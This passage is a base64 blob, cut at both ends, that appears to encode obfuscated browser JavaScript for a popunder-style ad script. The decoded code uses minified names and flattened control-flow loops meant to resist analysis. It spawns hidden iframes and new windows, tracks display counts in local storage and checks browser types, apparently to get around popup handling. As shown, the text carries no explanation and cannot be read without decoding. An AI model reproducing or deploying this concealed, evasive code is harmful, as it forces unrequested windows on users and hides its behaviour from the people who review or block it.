oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5